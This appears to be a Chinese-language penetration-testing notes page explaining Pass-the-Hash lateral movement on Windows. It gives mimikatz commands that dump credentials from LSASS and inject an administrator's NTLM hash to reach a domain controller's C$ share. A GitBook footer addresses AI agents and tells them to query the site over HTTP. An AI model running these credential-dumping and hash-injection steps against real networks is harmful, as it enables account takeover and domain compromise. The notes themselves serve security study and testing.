> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/active-directory/lateral-movement/pass-the-hash-on-windows.md).
# Windows 上的 Pass-the-Hash
如果一台机器通过 IP 而不是主机名连接到 SMB 共享，身份验证通常会通过 NTLM 进行。
示例：
```powershell
dir //172.16.0.10/c$
```
{% hint style="info" %}
NTLM（NT LAN Manager）是一套由微软开发的安全协议。它主要允许用户在计算机网络上完成身份验证，也就是说，当他们尝试访问一台计算机、一台服务器或一个共享文件夹时，用于验证其身份。NTLM 的工作方式是在用户和服务器之间交换加密信息，以避免直接通过网络发送密码。尽管它长期以来一直用于 Windows 环境，但如今这一协议正逐步被 Kerberos 所取代，因为后者被认为更安全、更高效。
{% endhint %}
从 `WS01`，我们看到访问取决于已在内存中加载的上下文。
在这里，不会请求新的身份验证，因为该进程重用了已经存在于 `LSASS`.
```bash
dir //172.16.0.10/c$
```
然后我们可以注入另一个账户的 NTLM 哈希，例如 `administrador`.
```bash
./mimikatz.exe
sekurlsa::logonpasswords
```
使用 `mimikatz`，我们正在发起一次 Pass-the-Hash 攻击。
```bash
sekurlsa::pth /user:administrador /domain:whoami.local /ntlm:a87f3a337d73085c45f9416be5787d86
```
一个新的控制台会以该账户的上下文打开。
然后我们就可以使用这个身份访问域控制器的资源。
```powershell
dir //172.16.0.100/c$
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/active-directory/lateral-movement/pass-the-hash-on-windows.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.